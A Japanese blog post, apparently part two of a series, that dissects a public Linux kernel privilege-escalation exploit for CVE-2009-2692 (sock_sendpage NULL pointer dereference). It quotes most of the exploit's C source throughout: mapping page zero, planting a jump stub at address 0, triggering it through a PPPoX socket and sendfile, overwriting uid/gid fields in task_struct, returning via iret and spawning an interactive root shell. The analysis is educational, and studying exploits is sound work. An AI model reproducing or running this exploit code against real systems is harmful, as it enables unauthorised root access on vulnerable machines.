前回はアドレス0x00000000がどうやって実行されるのかを書いた。後半は何が実行されるのかを調べる。
もう一度exploitを見てみる。
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid); // 現在のプロセスのtask_structにuid,uid,uidの並びをセット。
setresgid(gid, gid, gid); //
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
perror("mprotect");
return -1;
}
}
*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。
if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
perror("mkstemp");
return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
unlink(template); //作ったファイルネームを削除。
ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}
task_structの領域にsetresuidでuid,uid,uidの並びをセットする。
その後run.cでセットしてたpersonalityをチェックし、
mmap & mprotectで0x00000000から0x1000バイトに0を書きこみREAD,WRITE,EXEC属性をつける。
もちろんrun.cでpersonalityをPER_SVR4にしておかないとこんな事はできない。
ここまできたら0x00000000に実行用のコードを埋めこんでここを実行させる(sock_sendpageさせる)のみ。
0x00000000にはnop(0x90)を、
0x00000001にはjmp (kernel code - 6のアドレス)と書きこむ。kernel codeのアドレスを0x12345678とすると
90 e9 12 34 56 72
となる。e9はrelative jumpなことに注意。つまり0x06からの距離。
ここでkernel_code関数に飛ぶ。
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) { // task_structの中をいじる。setresuidされて入ったuidとかgidとかをみつける--> そこを0に(root)
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
kernel_code関数はまずget_currentを呼びtask_structのアドレスを得る。
get_current関数を見てみると、
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;" // espの値をeaxにセット
"andl %1, %%eax ;" // eaxの13ビットをクリア
"movl (%%eax), %0" // (%eax)をr(どのレジスタでもよいという事)にセット -> つまりcurrになる。
: "=r" (curr)
: "i" (~8191) // 8101 = 0x1fff
);
return (void *) curr; // 現在のespを0xffffe000でマスクした物を返す。
}
プロセスはkernel中にthread_info構造体とカーネルスタックを持つ。これらは2つのページに連続してある。
thread_info構造体の第一要素はtask_struct(以下を参照)、1pageの大きさは0x1000 (4096)。
thread_infoは前半のほうなので(偶数番目) 0x2000にある。
/** arch/x86/include/asm/thread_info.h **/
struct thread_info {
struct task_struct *task; /* main task structure */
/* 略 */
};
つまりget_current関数でtask_structのcurrentを得るということ。
currentを得た後は、for (i = 0; i < 1024-13; i++) のループを始めるわけだが、このコードのしたい事は、
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
この部分でメモリ上でuid,uid,uid,uid,gid,gid,gid,gidと並んでいるところを捜して、そこを0にするという物。uid=0はrootを意味するから。
でも、task_structみてもそんな並びの部分ねえよ。。task_struct->real_cred内に権限情報があるからこんな方法でアクセスできないし。
と思ってlinux-2.6.22.3を見てみたらバッチリあった。
/** include/linux/sched.h (linux-2.6.22.3) **/
struct task_struct {
/* 略 */
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
}
直書き…
とにかくここが0,0,0,0,0,0,0,0になる。
つまり昔のコードではちゃんと狙い通り動くと。cve-2009-2692の脆弱性は2.6.30.4まで存在するが、このexploitは2.6.30.4では動かない。まあ実際試したわけじゃないが。
まあexploitの動作を理解するためだしいいか。
ちなみにこのuid,uid,uidっていう並びを捜すのは昔のexploitでは定番の手法だったらしい。なるほど…
あとはexploitの最後、exit_kernel関数。
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: // 出力レジスタはない。
: "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
これは適当な数字をスタックに積んで(その領域を使わせるようにして) iretする。
intする前のEIPはexit_codeのアドレスという事にしておく。するとシステムコールから帰った後はexit_codeのアドレスから実行を再開。することになる。
これでカーネルモードは終わり。ユーザモードに帰った後は、今きちんとrootかどうかを確認して、
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "failed\n");
exit(-1);
}
execl("/bin/sh", "sh", "-i", NULL); // -i はインタラクティブ
}
rootなら
"/bin/sh -i"を実行!!
これでroot shellゲット。exploit成功というわけだ。
0 件のコメント:
コメントを投稿